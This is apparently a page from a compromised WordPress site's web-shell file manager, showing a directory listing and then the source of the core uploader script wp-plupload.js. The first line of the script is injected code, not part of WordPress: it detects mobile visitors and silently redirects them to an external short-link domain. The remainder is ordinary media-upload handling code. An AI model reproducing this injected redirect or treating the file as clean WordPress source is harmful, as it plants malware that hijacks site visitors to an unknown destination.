run:R W Run
20.28 KB
2026-08-13 20:01:45
R W Run
11.97 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
17.57 KB
2019-11-03 17:09:02
R W Run
248.6 KB
2026-08-13 20:01:45
R W Run
85.56 KB
2026-08-13 20:01:45
R W Run
59.12 KB
2026-08-13 20:01:45
R W Run
15.46 KB
2026-08-13 20:01:45
R W Run
16.53 KB
2026-08-13 20:01:45
R W Run
6.11 KB
2026-08-13 20:01:45
R W Run
error_log
📄wp-plupload.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/* global pluploadL10n, plupload, _wpPluploadSettings */
3
4/**
5 * @namespace wp
6 */
7window.wp = window.wp || {};
8
9( function( exports, $ ) {
10 var Uploader;
11
12 if ( typeof _wpPluploadSettings === 'undefined' ) {
13 return;
14 }
15
16 /**
17 * A WordPress uploader.
18 *
19 * The Plupload library provides cross-browser uploader UI integration.
20 * This object bridges the Plupload API to integrate uploads into the
21 * WordPress back end and the WordPress media experience.
22 *
23 * @class
24 * @memberOf wp
25 * @alias wp.Uploader
26 *
27 * @param {object} options The options passed to the new plupload instance.
28 * @param {object} options.container The id of uploader container.
29 * @param {object} options.browser The id of button to trigger the file select.
30 * @param {object} options.dropzone The id of file drop target.
31 * @param {object} options.plupload An object of parameters to pass to the plupload instance.
32 * @param {object} options.params An object of parameters to pass to $_POST when uploading the file.
33 * Extends this.plupload.multipart_params under the hood.
34 */
35 Uploader = function( options ) {
36 var self = this,
37 isIE, // Not used, back-compat.
38 elements = {
39 container: 'container',
40 browser: 'browse_button',
41 dropzone: 'drop_element'
42 },
43 tryAgainCount = {},
44 tryAgain,
45 key,
46 error,
47 fileUploaded;
48
49 this.supports = {
50 upload: Uploader.browser.supported
51 };
52
53 this.supported = this.supports.upload;
54
55 if ( ! this.supported ) {
56 return;
57 }
58
59 // Arguments to send to pluplad.Uploader().
60 // Use deep extend to ensure that multipart_params and other objects are cloned.
61 this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults );
62 this.container = document.body; // Set default container.
63
64 /*
65 * Extend the instance with options.
66 *
67 * Use deep extend to allow options.plupload to override individual
68 * default plupload keys.
69 */
70 $.extend( true, this, options );
71
72 // Proxy all methods so this always refers to the current instance.
73 for ( key in this ) {
74 if ( typeof this[ key ] === 'function' ) {
75 this[ key ] = $.proxy( this[ key ], this );
76 }
77 }
78
79 // Ensure all elements are jQuery elements and have id attributes,
80 // then set the proper plupload arguments to the ids.
81 for ( key in elements ) {
82 if ( ! this[ key ] ) {
83 continue;
84 }
85
86 this[ key ] = $( this[ key ] ).first();
87
88 if ( ! this[ key ].length ) {
89 delete this[ key ];
90 continue;
91 }
92
93 if ( ! this[ key ].prop('id') ) {
94 this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ );
95 }
96
97 this.plupload[ elements[ key ] ] = this[ key ].prop('id');
98 }
99
100 // If the uploader has neither a browse button nor a dropzone, bail.
101 if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) {
102 return;
103 }
104
105 // Initialize the plupload instance.
106 this.uploader = new plupload.Uploader( this.plupload );
107 delete this.plupload;
108
109 // Set default params and remove this.params alias.
110 this.param( this.params || {} );
111 delete this.params;
112
113 /**
114 * Attempt to create image sub-sizes when an image was uploaded successfully
115 * but the server responded with HTTP 5xx error.
116 *
117 * @since 5.3.0
118 *
119 * @param {string} message Error message.
120 * @param {object} data Error data from Plupload.
121 * @param {plupload.File} file File that was uploaded.
122 */
123 tryAgain = function( message, data, file ) {
124 var times, id;
125
126 if ( ! data || ! data.responseHeaders ) {
127 error( pluploadL10n.http_error_image, data, file, 'no-retry' );
128 return;
129 }
130
131 id = data.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i );
132
133 if ( id && id[1] ) {
134 id = id[1];
135 } else {
136 error( pluploadL10n.http_error_image, data, file, 'no-retry' );
137 return;
138 }
139
140 times = tryAgainCount[ file.id ];
141
142 if ( times && times > 4 ) {
143 /*
144 * The file may have been uploaded and attachment post created,
145 * but post-processing and resizing failed...
146 * Do a cleanup then tell the user to scale down the image and upload it again.
147 */
148 $.ajax({
149 type: 'post',
150 url: ajaxurl,
151 dataType: 'json',
152 data: {
153 action: 'media-create-image-subsizes',
154 _wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
155 attachment_id: id,
156 _wp_upload_failed_cleanup: true,
157 }
158 });
159
160 error( message, data, file, 'no-retry' );
161 return;
162 }
163
164 if ( ! times ) {
165 tryAgainCount[ file.id ] = 1;
166 } else {
167 tryAgainCount[ file.id ] = ++times;
168 }
169
170 // Another request to try to create the missing image sub-sizes.
171 $.ajax({
172 type: 'post',
173 url: ajaxurl,
174 dataType: 'json',
175 data: {
176 action: 'media-create-image-subsizes',
177 _wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
178 attachment_id: id,
179 }
180 }).done( function( response ) {
181 if ( response.success ) {
182 fileUploaded( self.uploader, file, response );
183 } else {
184 if ( response.data && response.data.message ) {
185 message = response.data.message;
186 }
187
188 error( message, data, file, 'no-retry' );
189 }
190 }).fail( function( jqXHR ) {
191 // If another HTTP 5xx error, try try again...
192 if ( jqXHR.status >= 500 && jqXHR.status < 600 ) {
193 tryAgain( message, data, file );
194 return;
195 }
196
197 error( message, data, file, 'no-retry' );
198 });
199 }
200
201 /**
202 * Custom error callback.
203 *
204 * Add a new error to the errors collection, so other modules can track
205 * and display errors. @see wp.Uploader.errors.
206 *
207 * @param {string} message Error message.
208 * @param {object} data Error data from Plupload.
209 * @param {plupload.File} file File that was uploaded.
210 * @param {string} retry Whether to try again to create image sub-sizes. Passing 'no-retry' will prevent it.
211 */
212 error = function( message, data, file, retry ) {
213 var isImage = file.type && file.type.indexOf( 'image/' ) === 0,
214 status = data && data.status;
215
216 // If the file is an image and the error is HTTP 5xx try to create sub-sizes again.
217 if ( retry !== 'no-retry' && isImage && status >= 500 && status < 600 ) {
218 tryAgain( message, data, file );
219 return;
220 }
221
222 if ( file.attachment ) {
223 file.attachment.destroy();
224 }
225
226 Uploader.errors.unshift({
227 message: message || pluploadL10n.default_error,
228 data: data,
229 file: file
230 });
231
232 self.error( message, data, file );
233 };
234
235 /**
236 * After a file is successfully uploaded, update its model.
237 *
238 * @param {plupload.Uploader} up Uploader instance.
239 * @param {plupload.File} file File that was uploaded.
240 * @param {Object} response Object with response properties.
241 */
242 fileUploaded = function( up, file, response ) {
243 var complete;
244
245 // Remove the "uploading" UI elements.
246 _.each( ['file','loaded','size','percent'], function( key ) {
247 file.attachment.unset( key );
248 } );
249
250 file.attachment.set( _.extend( response.data, { uploading: false } ) );
251
252 wp.media.model.Attachment.get( response.data.id, file.attachment );
253
254 complete = Uploader.queue.all( function( attachment ) {
255 return ! attachment.get( 'uploading' );
256 });
257
258 if ( complete ) {
259 Uploader.queue.reset();
260 }
261
262 self.success( file.attachment );
263 }
264
265 /**
266 * After the Uploader has been initialized, initialize some behaviors for the dropzone.
267 *
268 * @param {plupload.Uploader} uploader Uploader instance.
269 */
270 this.uploader.bind( 'init', function( uploader ) {
271 var timer, active, dragdrop,
272 dropzone = self.dropzone;
273
274 dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile;
275
276 // Generate drag/drop helper classes.
277 if ( ! dropzone ) {
278 return;
279 }
280
281 dropzone.toggleClass( 'supports-drag-drop', !! dragdrop );
282
283 if ( ! dragdrop ) {
284 return dropzone.unbind('.wp-uploader');
285 }
286
287 // 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'.
288 dropzone.on( 'dragover.wp-uploader', function() {
289 if ( timer ) {
290 clearTimeout( timer );
291 }
292
293 if ( active ) {
294 return;
295 }
296
297 dropzone.trigger('dropzone:enter').addClass('drag-over');
298 active = true;
299 });
300
301 dropzone.on('dragleave.wp-uploader, drop.wp-uploader', function() {
302 /*
303 * Using an instant timer prevents the drag-over class
304 * from being quickly removed and re-added when elements
305 * inside the dropzone are repositioned.
306 *
307 * @see https://core.trac.wordpress.org/ticket/21705
308 */
309 timer = setTimeout( function() {
310 active = false;
311 dropzone.trigger('dropzone:leave').removeClass('drag-over');
312 }, 0 );
313 });
314
315 self.ready = true;
316 $(self).trigger( 'uploader:ready' );
317 });
318
319 this.uploader.bind( 'postinit', function( up ) {
320 up.refresh();
321 self.init();
322 });
323
324 this.uploader.init();
325
326 if ( this.browser ) {
327 this.browser.on( 'mouseenter', this.refresh );
328 } else {
329 this.uploader.disableBrowse( true );
330 }
331
332 $( self ).on( 'uploader:ready', function() {
333 $( '.moxie-shim-html5 input[type="file"]' )
334 .attr( {
335 tabIndex: '-1',
336 'aria-hidden': 'true'
337 } );
338 } );
339
340 /**
341 * After files were filtered and added to the queue, create a model for each.
342 *
343 * @param {plupload.Uploader} up Uploader instance.
344 * @param {Array} files Array of file objects that were added to queue by the user.
345 */
346 this.uploader.bind( 'FilesAdded', function( up, files ) {
347 _.each( files, function( file ) {
348 var attributes, image;
349
350 // Ignore failed uploads.
351 if ( plupload.FAILED === file.status ) {
352 return;
353 }
354
355 if ( file.type === 'image/heic' && up.settings.heic_upload_error ) {
356 // Show error but do not block uploading.
357 Uploader.errors.unshift({
358 message: pluploadL10n.unsupported_image,
359 data: {},
360 file: file
361 });
362 } else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) {
363 // Disallow uploading of WebP images if the server cannot edit them.
364 error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
365 up.removeFile( file );
366 return;
367 } else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) {
368 // Disallow uploading of AVIF images if the server cannot edit them.
369 error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
370 up.removeFile( file );
371 return;
372 }
373
374 // Generate attributes for a new `Attachment` model.
375 attributes = _.extend({
376 file: file,
377 uploading: true,
378 date: new Date(),
379 filename: file.name,
380 menuOrder: 0,
381 uploadedTo: wp.media.model.settings.post.id
382 }, _.pick( file, 'loaded', 'size', 'percent' ) );
383
384 // Handle early mime type scanning for images.
385 image = /(?:jpe?g|png|gif)$/i.exec( file.name );
386
387 // For images set the model's type and subtype attributes.
388 if ( image ) {
389 attributes.type = 'image';
390
391 // `jpeg`, `png` and `gif` are valid subtypes.
392 // `jpg` is not, so map it to `jpeg`.
393 attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0];
394 }
395
396 // Create a model for the attachment, and add it to the Upload queue collection
397 // so listeners to the upload queue can track and display upload progress.
398 file.attachment = wp.media.model.Attachment.create( attributes );
399 Uploader.queue.add( file.attachment );
400
401 self.added( file.attachment );
402 });
403
404 up.refresh();
405 up.start();
406 });
407
408 this.uploader.bind( 'UploadProgress', function( up, file ) {
409 file.attachment.set( _.pick( file, 'loaded', 'percent' ) );
410 self.progress( file.attachment );
411 });
412
413 /**
414 * After a file is successfully uploaded, update its model.
415 *
416 * @param {plupload.Uploader} up Uploader instance.
417 * @param {plupload.File} file File that was uploaded.
418 * @param {Object} response Object with response properties.
419 * @return {mixed}
420 */
421 this.uploader.bind( 'FileUploaded', function( up, file, response ) {
422
423 try {
424 response = JSON.parse( response.response );
425 } catch ( e ) {
426 return error( pluploadL10n.default_error, e, file );
427 }
428
429 if ( ! _.isObject( response ) || _.isUndefined( response.success ) ) {
430 return error( pluploadL10n.default_error, null, file );
431 } else if ( ! response.success ) {
432 return error( response.data && response.data.message, response.data, file );
433 }
434
435 // Success. Update the UI with the new attachment.
436 fileUploaded( up, file, response );
437 });
438
439 /**
440 * When plupload surfaces an error, send it to the error handler.
441 *
442 * @param {plupload.Uploader} up Uploader instance.
443 * @param {Object} pluploadError Contains code, message and sometimes file and other details.
444 */
445 this.uploader.bind( 'Error', function( up, pluploadError ) {
446 var message = pluploadL10n.default_error,
447 key;
448
449 // Check for plupload errors.
450 for ( key in Uploader.errorMap ) {
451 if ( pluploadError.code === plupload[ key ] ) {
452 message = Uploader.errorMap[ key ];
453
454 if ( typeof message === 'function' ) {
455 message = message( pluploadError.file, pluploadError );
456 }
457
458 break;
459 }
460 }
461
462 error( message, pluploadError, pluploadError.file );
463 up.refresh();
464 });
465
466 };
467
468 // Adds the 'defaults' and 'browser' properties.
469 $.extend( Uploader, _wpPluploadSettings );
470
471 Uploader.uuid = 0;
472
473 // Map Plupload error codes to user friendly error messages.
474 Uploader.errorMap = {
475 'FAILED': pluploadL10n.upload_failed,
476 'FILE_EXTENSION_ERROR': pluploadL10n.invalid_filetype,
477 'IMAGE_FORMAT_ERROR': pluploadL10n.not_an_image,
478 'IMAGE_MEMORY_ERROR': pluploadL10n.image_memory_exceeded,
479 'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded,
480 'GENERIC_ERROR': pluploadL10n.upload_failed,
481 'IO_ERROR': pluploadL10n.io_error,
482 'SECURITY_ERROR': pluploadL10n.security_error,
483
484 'FILE_SIZE_ERROR': function( file ) {
485 return pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name );
486 },
487
488 'HTTP_ERROR': function( file ) {
489 if ( file.type && file.type.indexOf( 'image/' ) === 0 ) {
490 return pluploadL10n.http_error_image;
491 }
492
493 return pluploadL10n.http_error;
494 },
495 };
496
497 $.extend( Uploader.prototype, /** @lends wp.Uploader.prototype */{
498 /**
499 * Acts as a shortcut to extending the uploader's multipart_params object.
500 *
501 * param( key )
502 * Returns the value of the key.
503 *
504 * param( key, value )
505 * Sets the value of a key.
506 *
507 * param( map )
508 * Sets values for a map of data.
509 */
510 param: function( key, value ) {
511 if ( arguments.length === 1 && typeof key === 'string' ) {
512 return this.uploader.settings.multipart_params[ key ];
513 }
514
515 if ( arguments.length > 1 ) {
516 this.uploader.settings.multipart_params[ key ] = value;
517 } else {
518 $.extend( this.uploader.settings.multipart_params, key );
519 }
520 },
521
522 /**
523 * Make a few internal event callbacks available on the wp.Uploader object
524 * to change the Uploader internals if absolutely necessary.
525 */
526 init: function() {},
527 error: function() {},
528 success: function() {},
529 added: function() {},
530 progress: function() {},
531 complete: function() {},
532 refresh: function() {
533 var node, attached, container, id;
534
535 if ( this.browser ) {
536 node = this.browser[0];
537
538 // Check if the browser node is in the DOM.
539 while ( node ) {
540 if ( node === document.body ) {
541 attached = true;
542 break;
543 }
544 node = node.parentNode;
545 }
546
547 /*
548 * If the browser node is not attached to the DOM,
549 * use a temporary container to house it, as the browser button shims
550 * require the button to exist in the DOM at all times.
551 */
552 if ( ! attached ) {
553 id = 'wp-uploader-browser-' + this.uploader.id;
554
555 container = $( '#' + id );
556 if ( ! container.length ) {
557 container = $('<div class="wp-uploader-browser" />').css({
558 position: 'fixed',
559 top: '-1000px',
560 left: '-1000px',
561 height: 0,
562 width: 0
563 }).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body');
564 }
565
566 container.append( this.browser );
567 }
568 }
569
570 this.uploader.refresh();
571 }
572 });
573
574 // Create a collection of attachments in the upload queue,
575 // so that other modules can track and display upload progress.
576 Uploader.queue = new wp.media.model.Attachments( [], { query: false });
577
578 // Create a collection to collect errors incurred while attempting upload.
579 Uploader.errors = new Backbone.Collection();
580
581 exports.Uploader = Uploader;
582})( wp, jQuery );
583